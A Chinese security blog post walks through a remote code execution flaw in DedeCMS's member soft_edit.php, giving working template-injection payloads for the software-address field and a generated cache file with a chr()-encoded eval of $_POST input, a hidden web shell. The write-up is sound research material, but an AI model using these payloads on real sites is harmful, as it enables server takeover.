探索黑客技术攻防,实战研究与安全创新

导航菜单

DeDeCMS soft_edit.php远程代码执行漏洞

DedeCms是一套开源的内容发布系统,20140228更新版本存在远程代码执行漏洞,成功利用该漏洞的攻击者,能执行任意PHP代码。

要成功利用该漏洞需要前台普通会员权限,漏洞文件为soft_edit.php文件,关键代码如下:


if(!preg_match(#[_=///?\.a-zA-Z0-9-]+$#i, $softurl))
{
}
ShowMsg(确定软件地址提交正确!, -1);
exit;


上面的一行正则能匹配任意字符,所以走不到showMsg()这里。编写代码来测试一下,

下面是我写的PHP代码,文件名为preg_match.php。


?php
$softurl=https://www.weixianmanbu.com/;
if(!preg_match(#[_=///?\.a-zA-Z0-9-]+$#i, $softurl)){print 不能往下执行,退出;
}
else
{
print 可以匹配,漏洞触发;
}
?


执行preg_match.php,效果如图1所示。

图片1.png

用浏览器打开:本地搭建的dede ,然后注册会员,如图2所示。

图片2.png

注册成功会转到会员中心,在内容中心栏目-软件中,可以上传一个软件,如图3所示。

上传任意一个软件,点击“修改”,修改“软件地址1 ”为如图4所示。

图片3.png

提交后在data\tplcache\目录下会生成一个inc文件,如图5所示。

图片4.png

文件4e1756b17370bd7e1c9c4fac86068d62.inc8ed5b5c7ac50306d.inc的代码如下:


?php
$z[0]=Array(link, https://www.weixianmanbu.com/ }x,0,61);
$z[0][4][text]=本地下载;
$z[1]=Array(a,xxxx,61,260);
$z[1][4][text\]=x]=0;eval(chr(101).chr(118).chr(97).chr(108).
chr(40).chr(34).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).
chr(91).chr(99).chr(93).chr(59).chr(34).chr(41).chr(59));//;
$z[2]=Array(link, ,260,284);
?


可以看到我们提交的代码已经存在了。Dedecms会在{dede:atext=x]=0;eval 中的x之前加个“”,所以要想办法闭合引号。

https://www.weixianmanbu.com/ }x{/dede:link}{dede:a
text=x]=0;phpinfo();// }xxxx{/dede:a}{dede:link}xxx


在GPC为On和Off下,情况是不同的。下面来研究magic_quotes_gpc=Off下的情况,需要修改“text’=x’”为“text\\=x’”,这是因为在代码执行时,进行了转化,转化为了“$z[1][4][text]=x]=0;”。

上面的代码无法闭合text后面的单引号,这个单引号是dedecms自动加上的,所以用“\’”,系统认为这个是转义字符,从而闭合了。那么如何构造一个“\’”字符呢?只需要 在 “ 软件地址1”里入

https://www.weixianmanbu.com/ }x{/dede:link}{dede:atext\\=x]=0;phpinfo();// }xxxx{/dede:a}{dede:link}xxx就可以了,就是在text后加入2个斜杠“\\”,最后代码phpinfo()会被执行,如图6所示。

图片5.png

下面再看看magic_quotes_gpc=On的时候,如何执行任意代码。Text后去掉一个斜杠,变为https://www.weixianmanbu.com/}x{/dede:link}{dede:atext\=x]=0;phpinfo();// }xxxx{/dede:a}{dede:link}xxx”,代码执行就成功了。

我写了一个工具“dedecms 5.7 member/soft_edit.php 代码执行漏洞”,利用效果如图7和图8所示。这样一来,利用这个漏洞就简单多了。

图片6.png


本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。

相关推荐